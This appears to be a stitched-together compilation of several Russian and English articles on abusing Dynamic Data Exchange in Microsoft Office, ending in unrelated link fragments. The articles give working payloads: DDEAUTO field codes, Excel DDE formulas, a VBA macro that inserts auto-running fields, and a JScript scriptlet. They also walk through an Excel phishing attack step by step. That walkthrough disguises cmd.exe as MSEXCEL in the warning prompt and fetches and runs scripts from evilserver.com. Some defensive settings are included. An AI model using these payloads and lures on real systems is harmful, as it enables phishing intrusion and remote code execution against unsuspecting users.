Word что такое dde

Время на прочтение
5 мин

Количество просмотров 4.2K

Эта статья является частью серии «Fileless Malware». Все остальные части серии:

  • Приключения неуловимой малвари, часть I
  • Приключения неуловимой малвари, часть II: скрытные VBA-скрипты
  • Приключения неуловимой малвари, часть III: запутанные VBA-скрипты для смеха и прибыли
  • Приключения неуловимой малвари, часть IV: DDE и поля документа Word (мы тут)

В этой статье я собирался погрузиться в еще более сложный многоэтапный cценарий безфайловой атаки с закреплением в системе. Но тут я наткнулся на невероятно простую атаку без кода — не требуется никаких макросов Word или Excel! И это гораздо более эффективно доказывает мою изначальную гипотезу, лежащую в основе этой серии статей: преодолеть внешний периметр любой организации – совсем несложная задача.

Первая атака, которую я опишу, использует уязвимость Microsoft Word, которая основана на устаревшем протоколе динамического обмена данными (DDE). Она уже была исправлена. Вторая использует более общую уязвимость в Microsoft COM и возможности передачи объектов.

Назад в будущее с DDE

Кто-нибудь еще помнит DDE? Вероятно, немногие. Это был один из первых протоколов взаимодействия между процессами, который позволял приложениям и устройствам передавать данные.

Я сам немного знаком с ним, потому что раньше я проверял и тестировал телеком-оборудование. В то время DDE позволял, например, передавать для операторов колл-центров идентификатор звонящего абонента в CRM приложение, которое в конечном итоге открывало карточку клиента. Для этого вы должны были подключить кабель RS-232 между телефоном и компьютером. Вот были деньки!

Как оказалось, Microsoft Word все еще поддерживает DDE.

Что делает эту атаку эффективной без кода, так это то, что вы можете получить доступ к протоколу DDE непосредственно из автоматических полей документа Word (снимаю шляпу перед SensePost за исследования и публикации об этом).

Коды полей – это еще одна древняя функция MS Word, которая позволяет добавлять динамический текст и немного программирования в документ. В качестве самого очевидного примера можно привести поле «номер страницы», который можно вставить в нижний колонтитул с помощью значения {PAGE *MERGEFORMAT}. Это позволяет автоматическим образом генерировать номера страниц.

Подсказка: вы сможете найти пункт меню Полe (Field) в разделе Вставка (Insert)

Я помню, что когда впервые обнаружил эту возможность в Word, то был поражен. И вот пока патч не отключил ее, Word так и поддерживал параметр полей DDE. Идея состояла в том, что DDE позволит Word общаться с приложением напрямую, для возможности затем передать выходные данные программы в документ. Это была совсем юная технология в то время – поддержка обмена данными с внешними приложениями. Позже она была развита в технологии COM, которую мы также рассмотрим ниже.

В итоге, хакеры поняли, что этим приложением DDE может быть командная оболочка, которая, конечно же, запускает PowerShell, а оттуда хакеры могут делать всё, что им угодно.
На скриншоте ниже видно, как я использовал данную скрытную технику: маленький сценарий PowerShell (далее – PS) из поля DDE загружает другой PS скрипт, который запускает вторую фазу атаки.

Спасибо Windows за всплывающее предупреждение, о том что встроенное поле DDEAUTO скрытно пытается запустить оболочку

Предпочтительным методом эксплуатации уязвимости является использование варианта с полем DDEAUTO, которое автоматически запускает сценарий при открытии документа Word.
Давайте подумаем, что с этим можно сделать.

Как начинающий хакер, вы можете, например, отправить фишинговое письмо, притворившись, что вы из ФНС, и встроить поле DDEAUTO со скриптом PS для первого этапа (дроппер по сути). Причем вам даже не нужно делать никакого реального кодирования макросов и пр., как я это делал в предыдущей статье.
Жертва открывает ваш документ, встроенный скрипт активируется, и хакер оказывается внутри компьютера. В моем случае удаленный сценарий PS лишь печатает сообщение, но он может также легко запустить клиент PS Empire, который предоставит удаленный доступ к оболочке.
И прежде, чем жертва успеет произнести хоть что-то, хакеры окажутся самыми богатыми подростками на селе.

Оболочка была запущена без малейшего кодирования. Даже ребенок сможет это сделать!

DDE и поля

Позже Microsoft все-таки отключила DDE в Word, но перед этим компания заявила, что эта функция была просто неправильно использована. Их нежелание что-то менять понятно. Из своего опыта я сам наблюдал такой пример, что обновление полей при открытии документа было включено, но макросы Word были отключены ИТ-службой (но с показом уведомления). Кстати, соответствующие параметры вы сможете найти в разделе настроек Word.

Однако, даже если обновление полей включено, Microsoft Word дополнительно уведомляет пользователя, когда поле запрашивает доступ к удаленным данным, как в случае с DDE выше. Microsoft действительно предупреждает вас.

Но скорее всего, пользователи все равно пропустят это предупреждение и активируют обновление полей в Word. Это одна из редких возможностей поблагодарить Microsoft за отключение опасной функции DDE.

Насколько трудно сегодня найти непропатченную систему Windows?

Для этого тестирования я использовал среду AWS Workspaces для получения доступа к виртуальному рабочему столу. Таким образом я получил непропатченную виртуальную машину с MS Office, которая позволила мне вставить поле DDEAUTO. Не сомневаюсь, что подобным же образом можно найти и другие компании, которые до сих пор не установили нужные патчи безопасности.

Тайна предметов

Даже если вы и установили этот патч, есть другие дыры безопасности в MS Office, которые позволяют хакерам выполнять что-то очень похожее на то, что мы сделали с Word. В следующем сценарии мы научимся использовать Excel в качестве наживки для фишинговой атаки без написания кода.

Чтобы понять этот сценарий, давайте вспомним Модель компонентного объекта Microsoft, или сокращенно COM (Component Object Model).

COM существует с 1990-х годов, и определяется как «нейтральная к языку программирования объектно-ориентированная модель компонентов» на основе удаленных вызовов процедур RPC. Для общего понимания терминологии COM прочтите этот пост на StackOverflow.

По большому счету, вы можете представить приложение COM как исполняемый файл Excel или Word, или какой-либо другой запускаемый бинарный файл.

Оказывается, COM-приложение также может запускать сценарий — JavaScript или VBScript. Технически это называется скриптлет. Возможно, вы встречали расширение.sct у файлов в Windows – это и есть официальное расширение для скриплетов. По сути, они являются кодом скрипта, заключенного в XML обертку:

<?XML version="1.0"?>

<scriptlet>
<registration
description="test"
progid="test"
version="1.00"
classid="{BBBB4444-0000-0000-0000-0000FAADACDC}"
remotable="true">
</registration>
<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("cmd /k powershell -c Write-Host You have been scripted!");

]]>
</script>
</scriptlet>

Хакеры и пентестеры обнаружили, что есть отдельные утилиты и приложения в Windows, которые принимают COM-объекты и, соответственно, скриптлеты тоже.

Я могу передать скриптлет в утилиту Windows, написанную на VBS, известную как pubprn. Она находится в недрах C:Windowssystem32Printing_Admin_Scripts. Кстати, есть и другие утилиты Windows, которые принимают объекты в качестве параметров. Для начала рассмотрим этот пример.

Вполне естественно, что оболочку можно запустить даже из сценария печати. Вперед, Microsoft!

В качестве тестирования я создал простой удаленный скриптлет, который запускает оболочку и печатает забавное сообщение «Вас только что проскриптовали!». По сути, pubprn создает экземпляр объекта scriptlet, позволяя коду VBScript запустить оболочку. Данный метод предоставляет явные преимущества хакерам, которые хотят незаметно проникнуть и спрятаться в вашей системе.

В следующем посте я объясню, как скриптлеты COM могут быть использованы хакерами с помощью таблиц Excel.

Вам в качестве домашней работы – посмотреть это видео с Derbycon 2016 года, которое объясняет, как именно хакеры использовали скриптлеты. А также прочитать эту статью про скриптлеты и какой-то моникер.

Word 2010В декабре нынешнего года Microsoft из соображений безопасности отключила свою технологию Dynamic Data Exchange в Word. DDE является довольно старой технологией. В частности, именно она отвечает за ассоциацию файлов и приложений в Windows. Что касается Microsoft Office, то в нем DDE используется для автоматического «подтягивания» файлов из других приложений. В частности, широко распространенным является вставка в Word таблицы, которая фактически хранится в отдельном файле Excel и автоматически обновляется при каждом открытии файла Word.

Однако, с точки зрения безопасности механизм DDE содержит потенциальную угрозу. Теоретически, использование DDE в Office позволяет запустить командную строку и выполнить вредоносный код. Microsoft долго противилась отключению DDE в Office, но, в итоге, была вынуждена частично «сдаться» и отключить DDE. Пока лишь в Word. Патчи выпущены для Word 2007, 2010, 2013 и 2016. В дальнейшем возможно отключение DDE и в других программах, входящих в пакет Microsoft Office, но это будет зависеть уже от проводимых компанией тестов. Дополнительную информацию о новых обновлениях можно получить здесь.

Впрочем, отключить или включить Dynamic Data Exchange в Word можно вручную и после установки свежего патча. По сути, всё, что он делает, это лишь добавляет новый параметр по адресу

HKEY_CURRENT_USERSoftwareMicrosoftOffice[версия Office]WordSecurity

под названием AllowDDE. Тип параметра DWORD. Параметр может принимать следующие значения:

0 — DDE выключен;

1 — DDE разрешен к уже запущенной программе, но новые запросы запрещены;

2 — DDE включен.

Microsoft Office – это распространенное приложение, которое разворачивается в каждой организации.

Его широкое использование превращает офис в инструмент, который можно использовать для выполнения атак, которые позволят красной команде собирать хэши домена или выполнять произвольный код.

Исторически выполнение кода в офисе Microsoft выполнялось с использованием макросов.

Однако SensePost обнаружил другой способ выполнения произвольного кода с использованием протокола DDE (Dynamic Data Exchange).

В продуктах офиса есть разные места, где выполнение кода принимается через DDE, и эта статья продемонстрирует большинство этих векторов атаки.

Статья DDE Payloads может использоваться вместе с этим постом для производства пэйлоадов.

Содержание

  1. Word
  2. Excel
  3. Outlook
  4. Сообщение
  5. Контакт
  6. Приглашение в календаре
  7. Полезные ссылки

Word

В Microsoft Word самым простым способом является вставка кода в поля, как он был описан в исходном сообщении SensePost, и вставить полезную нагрузку внутри формулы.

 Insert-> Quick Parts-> Field 

Добавление следующего пэйлоада в скобках приведет к появлению некоторого диалогового окна при следующем открытии файла.

Если пользователь выбирает параметр «Yes», полезная нагрузка будет выполнена.

 {DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"} 

В качестве альтернативы можно использовать макрос, чтобы вставить пэйлоад в поле кода, как описано в  блоге Пол Ричи.

 ''' Programmatically inserts a new field code into a word document at the current selection index.
''' This is of type "wdFieldDDEAuto" which is a field code which executes Dynamic Data Exchange (DDE)
''' When the document is opened. This includes an example PoC which launches calc.exe
Public Sub FieldCodeFun()
' Payload String
Dim payload As String
payload = """c:\windows\system32\calc.exe"" ""/c calc.exe"""
' Insert our payload as a field code
Selection.Collapse Direction:=wdCollapseEnd
ActiveDocument.Fields.Add Range:=Selection.Range, _
Type:=wdFieldDDEAuto, Text:=payload
End Sub 

Пэйлоад будет просто выполнять калькулятор, но он может быть изменен, чтобы содержать любую другую полезную нагрузку.

Майк Чумак сделал большое открытие, которое было обсуждено в его блоге относительно загрузки вредоносного DDE из другого документа Word, который находится снаружи.

Код поля INCLUDE может использоваться с этим вектором атаки в сочетании с внешним URL-адресом.

Excel

В Microsoft Excel DDE пэйлоад может быть использован с использованием формул.

Следующие две формулы будут выполнять код (калькулятор в этом случае) со второй формулой, чтобы обмануть сообщение диалогового окна, чтобы сделать его более легитимным.

 =cmd|'/c calc.exe'!A1
=MSEXCEL|'......WindowsSystem32cmd.exe /c calc.exe'!'' 

Появится следующее диалоговое окно, когда пользователь откроет вредоносную электронную таблицу Excel.

Вторая формула по-прежнему будет выполнять код, но сообщение в диалоговом окне будет изменено, и вместо того, чтобы попросить пользователя запустить CMD.EXE, он попросит его запустить MSEXCEL.exe.

Outlook

В Outlook существуют различные места, где может выполняться пэйлоад DDE.

В зависимости от ситуации каждый метод может быть полезен.

Например, если были получены учетные данные домена, было бы легче набрать электронное сообщение и отправить нескольким другим пользователям, чтобы получить больше оболочек внутри организации.

Сообщение

Отправка сообщения Outlook, содержащего DDE, также может автоматически выполнять код.

То же самое относится и к сообщениям электронной почты, которые отправляются в виде вложений.

Однако сообщение электронной почты должно быть отправлено в формате RTF и доставлено как RTF, поскольку некоторые почтовые службы преобразуют все электронные письма в HTML, что сделает пэйлоад DDE неработоспособным.

Когда сообщение поступит во входящий почтовый ящик пользователя, DDE будет выполняться при просмотре в этом сообщении.

Контакт

Создание нового контакта или модификация существующего и размещение полезной нагрузки DDE в области заметок может привести к выполнению кода.

Контакт должен быть отправлен целевому пользователю.

Когда пользователь откроет контакт, он выполнит встроеннй пэйлоад DDE.

Приглашение в календаре

Эта же концепция применяется и через приглашения по календарю.

Отправка приглашения на собрание с помощью пэйлоада DDE приведет к выполнению кода, если пользователь повзаимодействует с этим приглашением (откроет или отменит).

Полезные ссылки

  • https://medium.com/red-team/dde-payloads-16629f4a2fcd
  • http://staaldraad.github.io/2017/10/23/msword-field-codes/
  • http://willgenovese.com/office-ddeauto-attacks/
  • https://www.secarma.co.uk/labs/is-dynamic-data-exchange-dde-injection-a-thing/

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

In our previous article, we learned how to take advantage of a feature, Dynamic Data Exchange (DDE), to run malicious code when an MS Word document is opened. Because Microsoft built DDE into all of its Office products as a way to transfer data one time or continuously between applications, we can do the same thing in Excel to create a spreadsheet that runs malicious code when opened. The best part is, it will do so without requiring macros to be enabled.

Necurs Botnet Employs DDE Attack to Spread Ransomware

In the time since its discovery as an attack vector, many black hats have been successful in utilizing DDE. For example, the hackers behind the Necurs Botnet, one of the largest at 6 million, have been attempting to distribute Locky ransomware. They first use the botnet to send a surprisingly simple email.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

This email contains an attached Word document which uses DDE to open PowerShell and execute their code. The method is illustrated below.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

Hancitor Malware Uses a DDE Attack, Too

Hancitor malspam, which is also referred to as Chanitor or Tordal, is of particular note as it is an example of malware that changed tactics. It used to rely on macros, but since Oct. 16, 2017, it has begun to use DDE.

Below, we can see one of the best examples of social engineering that I’ve seen, which it uses to spread.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

The likely reason for the change from macros to DDE is that the user will no longer get any explicit security warnings. That being said, you do still get prompts when using DDE, such as the one below.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by Brad Duncan/SANS ISC InfoSec Forums

Well, okay. I might not click through that. With the amount of work that was put into social engineering it the Word document, it’s interesting that the hackers behind Hancitor didn’t make any attempts to modify the prompt to be less conspicuous. Many people, such as Ryan Hanson on Twitter have shown how this can be done.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by ryHanson/Twitter

Many hackers have been focused on using DDE in Word. In the last article, we looked at using DDE in the fields of a Word document ourselves. However, DDE is also used in Excel, Quattro Pro, and Visual Basic. It’s surprisingly easy to employ in Excel, so let’s take a quick look at how it is done.

Step 1: Open Excel

Start by opening Excel, nothing fancy. Now we could leave it at that for this step, but for any practical real-world use, we need to spice it up with some social engineering. In order for this to work, we have two requirements. The target will need to click «Update» on the first popup and click «Yes» on the next.

This social-engineering attack takes advantage of the fact that the user can see the document when the popup appears. This lets us put something at the top of the document to make the document appear more legitimate to the user. We just reviewed two examples above that you can use for inspiration.

Step 2: Add a Formula

DDE allows us to perform command execution through Excel formulas. Excel uses it as an interprocess communication, which can be used to be call applications from within formulas and even process web requests to return live data to the workbook.

In simple terms, that lets us write a short formula to start a command prompt. Just add it to the formula field for any cell.

=cmd|’/k’!A1

Let’s look at what we just typed. The cmd is without an extension, but it tells Excel to open cmd.exe all the same. If you are interested, Microsoft has more DDE commands. The second part in single quotes is the arguments we are passing it.

Here I used /k for a persistent shell, however, you could also use /c for a one-off command. Unfortunately, the argument is limited to 1,024 bytes, the maximum cmd length for the CreateProcess() function.

Let’s take a quick look at it in action using calc.exe in place of whatever dubious code we may want to run.

=cmd|’/c calc.exe’!A1

After you enter it into a cell, save and close Excel spreadsheet, then reopen the document. You’ll be greeted with the first of two prompts. «Update» needs to be clicked for our code to run.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Then we get the second one. Notice how it says «Start application ‘CMD.EXE’?» That should be a red flag for anyone in the know, and will likely prevent them from clicking «Yes.» I’ll show you how we can change that in the next step.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Once «Yes» is clicked, we get magic code execution.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Step 3: Add Code

Now that we understand the basics, we can play around with it a bit. Remember how I said we can edit the «Start application» popup? It’s actually quite easy to do, as it’s just showing the first application we are attempting to run.

This allows us to obfuscate it by hiding cmd.exe behind another less conspicuous application, like Excel itself, but it will chew through some of our 1,024-byte limit. Try this in a cell formula:

=MSEXCEL|’……WindowsSystem32cmd.exe /c calc.exe’!»

Once you press enter, you should see the new popup. Notice how it says «Start application ‘MSEXCEL.EXE’?» It would be very easy to work that into any social engineering you do in the document.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

After you click «Yes,» you’ll see that it executes the code just as before.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Now, what if we wanted to run something more powerful than a calculator? Sensepost has been kind enough to provide an example of how to use it to open PowerShell and remotely load a script to execute. To do so, you would type the following formula.

=cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(«http://evilserver.com/sp.base64»);powershell -e $e’!A1

But, in reality, that’s more complicated than we need. It’s easier to just point cmd /c directly at a .bat script hosted in a WebDAV directory. We’ll do that instead below.

=cmd|’/c \evilserver.comsp.bat;IEX $e’!A1

You likely notice that SensePost used =cmd, which we just learned how to obfuscate, so let’s combine the two to fix that real quick.

=MSEXCEL|’……WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e’!»

Now we have an Excel formula that hides what application it is actually running, and then downloads and executes a .bat file from our remote server. It doesn’t take much imagination to see the mayhem we could cause with this.

Step 4: Save & Send

The last thing to do is save the document and send it off to the target. In the video below, you can see what this would look like on the receiving end if you were to download such a document using our obfuscation technique.

In the next video, you can see both sides of the attack. In this attack, the DDE formula is used to «pop a remote SYSTEM shell from an unprivileged user and remotely load and execute a modified MS16-032 PowerShell module to get reverse SYSTEM shell.» You can find more detail on the SensePost blog.

Step 5: Update Your Defense

Today. we’ve looked at a quick and simple way to execute code when an Excel document is opened. While this isn’t unique, what is special about this attack is that the word «security» is never mentioned, allowing a much greater chance for a social-engineering attack to succeed.

If you’re a Microsoft Office user, you should be careful of these and other warnings that may indicate another program is attempting to execute, or that a file is either requesting outside resources or needs unusual permissions to run. In all of these instances, your default reaction to a window like this popping up should be to deny permission.

You can take this a step further. If you don’t trust yourself to remember to say no to these popups, or just never want to see them, you can get rid of them by disabling automatic links. These settings don’t change across all Office programs, so you will need to open each and update the settings manually, but the process is the same for them all. Here’s how to do it in Word.

Open a Word or any other Office app you use and click on «File» in the top left. Then, when a blue bar appears along the left of the screen, click «Options,» which will be at the very bottom. The Word Options box will appear. Click on the «Advanced» tab, then scroll almost all the way down until you see General and uncheck «Update automatic links at open.»

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks

Once that is done, click «OK» to save the changes. This update to the settings will prevent DDE attacks from working, without impacting your everyday use of Word.

If you have multiple machines under management control, you can disable DDE execution via registry keys.

DDE Based Attacks in the Future

Clearly, there has been a spike in DDE use in the past few weeks. In spite of this, researchers like Brad Duncan don’t think it will continue like this for long.

I think attackers are using DDE because it’s different. We’ve been seeing the same macro-based attacks for years now, so perhaps criminals are trying something different just to see if it works any better. In my opinion, DDE is probably a little less effective than using macros. […] We might see more DDE-based attacks in the coming weeks, but I predict that will taper off in the next few months.

That being said, new DDE attack vectors are still being discovered every day. For example, Kevin Beaumont discovered it could be used in Outlook.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by GossiTheDog/Twitter

Then r0lan discovered not even your Microsoft contacts are safe from DDE.

How to Exploit DDE in Microsoft Office & Defend Against DDE-Based Attacks
Image by yeyint_mth/Twitter

There’s no telling what the next DDE attack vector will be, but you can be sure that I’ll write a how-to for it.

Thanks for reading! If you have any questions, you can ask here or on Twitter @The_Hoid.

  • Follow Null Byte on Twitter and Google+
  • Follow WonderHowTo on Facebook, Twitter, Pinterest, and Google+

Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.

Buy Now (90% off) >

Other worthwhile deals to check out:

  • 97% off The Ultimate 2021 White Hat Hacker Certification Bundle
  • 99% off The 2021 All-in-One Data Scientist Mega Bundle
  • 98% off The 2021 Premium Learn To Code Certification Bundle
  • 62% off MindMaster Mind Mapping Software: Perpetual License
Cover image via Sense Post/YouTube; Screenshots by Hoid/Null Byte (unless otherwise noted)

в течение последних двух недель сообщество информационной безопасности не переставало говорить об использовании DDE для выполнения команд без макросов с использованием офисных продуктов, обхода предупреждений и предотвращения обнаружения, и я так и сделал, я потратил некоторое время на чтение о DDE, поскольку я всегда говорю как «способ межпроцессного взаимодействия», даже не пробуя его на себе.

Динамический обмен данными (DDE)

это метод связи клиент / сервер, реализованный в операционной системе Microsoft Windows с ранней версии Windows 2.0 в 1987 году, основанный на обмене сообщениями Windows и использующий свои функции для установления соединения между двумя сторонами, сервер прослушивает определенные темы и сообщения, действует на них, отвечает клиентам и разорвать соединение в конце.

он использовался для отправки параметров в такие приложения, как офисные продукты и браузеры, отправки команд в оболочку -explorer- для создания групп и ссылок меню «Пуск», а также для интеграции между различными приложениями и службами.

DDE состоит из различных сообщений для взаимодействия, таких как Poke, Request, Advise & Execute. каждый со своим назначением и использованием, поток DDE выглядит так:

MSWord как клиент DDE

То, что произошло с опубликованными атаками, — это DDE, который используется в Word, Excel и других в качестве клиента, сообщая ему (используя формулу DDE), например, следующее:

cmd!”/c notepad”!A0
{DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"  }

поэтому формула сообщает процессу подключиться к несуществующему серверу DDE с именем CMD с темой «/ c notepad», операция завершается ошибкой, и процесс запускает ее, запустив cmd.exe и передав тему в качестве параметра, CMD выполняет тема отсюда и выполнение команды.

После нажатия «Да» MSWord снова пытается инициировать сеанс DDE с вновь созданным cmd, терпит неудачу и показывает это предупреждающее сообщение, чтобы указать, что — после того, как RCE произошло в любом случае -.

если случается, что целью является действительный сервер DDE, связь будет продолжаться с потоком, отправляя DDE рекомендации и запросы для получения удаленных данных, как задумано.

MSWord как сервер DDE

Несмотря на то, что DDE заменяется другими методами для RPC, древний сервер DDE все еще существует в офисных продуктах, обеспечивая интеграцию с другими системами и формами, каждый продукт имеет свой собственный сервер со своими Темами и ожидает сообщений, когда продукт будет начал.

Пытаясь отправить несколько сообщений DDE, я заметил, что WinWord -Word DDE server- странным образом отвечает на сообщения WM_DDE_EXECUTE.

если вы отправите серверу WinWord сообщение по теме «Система», он разместит его прямо в активном листе, но — пусть начинается самое интересное — если вы заключили сообщение в квадратные скобки [], Word поместит сообщение в макрос-функцию TmpDDE () внутри модуль под названием WordTmpDDEMod и выполняет его.

это означает, что если бы мы могли запустить выполнение DDE с помощью MSWord, мы могли бы внедрить наш собственный код и выполнить его в процессе Word.exe.

Для этого я использовал клиент DDE Дэвида Нейлора на питоне для отправки кода выполнения, а затем выяснил, что есть другие инструменты командной строки, такие как CMCDDE и другие, которые вы можете использовать для той же цели.

теперь, если вы пытались отправить обычный код VB, Word сделает следующее:

  • он дополняет функцию вроде CreateObject суффиксом __.
  • он добавляет к известным функциям, таким как MsgBox, префиксы WordBasic. , что делает большинство функций бесполезными.
  • он заменяет некоторые точки запятыми, также определяет неопределенные переменные.

так что допустимая команда, например:

[CreateObject («Wscript.Shell»). Запустить «Блокнот»]

преобразуется в это:

CreateObject ___ («Wscript.Shell»), запустите «Блокнот»

что дает синтаксическую ошибку, так как не распознает эту функцию, или «,» не совсем корректно.

после некоторых попыток найти работающий код со старым «При ошибке возобновить следующее» я понял, что WordBasic.Shell является допустимой функцией, поэтому отправив:

[оболочка «блокнот»]

Word приступит к его выполнению как:

WinWord.Shell («блокнот»)

который открывает блокнот с процессом Word в качестве родительского — без трассировки журнала, так как никто не записывает сообщения DDE -.

в текущем состоянии этот метод работает только как полезная нагрузка 2-го уровня, поскольку для него требуется, чтобы Word был запущен, и клиент DDE, которым мы можем управлять своим сервером, темой и данными, которые мы отправляем в Word.

Я также пробовал это со сценариями вроде:

  • запустите клиент DDE как гостевую учетную запись в том же сеансе администратора: Успешно.
  • запустите клиент DDE как другую учетную запись удаленно, используя psexc: Successful.

Проблема с вышеуказанными методами заключается в том, что обмен сообщениями Windows не работает между сеансами / рабочими столами, поэтому вам понадобится учетная запись Admin | SYSTEM для выполнения в других сеансах — это меньшее, что вы будете учитывать -.

Я просканировал свой компьютер -Win10x64 с Office16- на наличие exe / dll, которые используют DdeClientTransaction и связанные с ним API, и нашел только следующие:

  • shell32.dll: думаю, для запуска приложений с / ddeexec.
  • twain_32.dll: я понятия не имею, для чего здесь используется клиент DDE.
  • vbe7.dll и msvbvm60.dll: для сценариев DDE в VBA.
  • ieframe.dll: я могу подробнее изучить здесь и проверить путь его выполнения.

Было весело читать документы и статьи по DDE, особенно файл справки Word95 wrdbasic .. Я надеюсь, что эта статья куда-то приведет других. Особая благодарность Этьену Стальмансу и Саифу Эль-Шери за их работу.

хорошего дня.

Like this post? Please share to your friends:
  • Word что означает режим ограниченной функциональности
  • Word что означает на русском языке
  • Word что называется строкой
  • Word что значит символ
  • Word что за фирма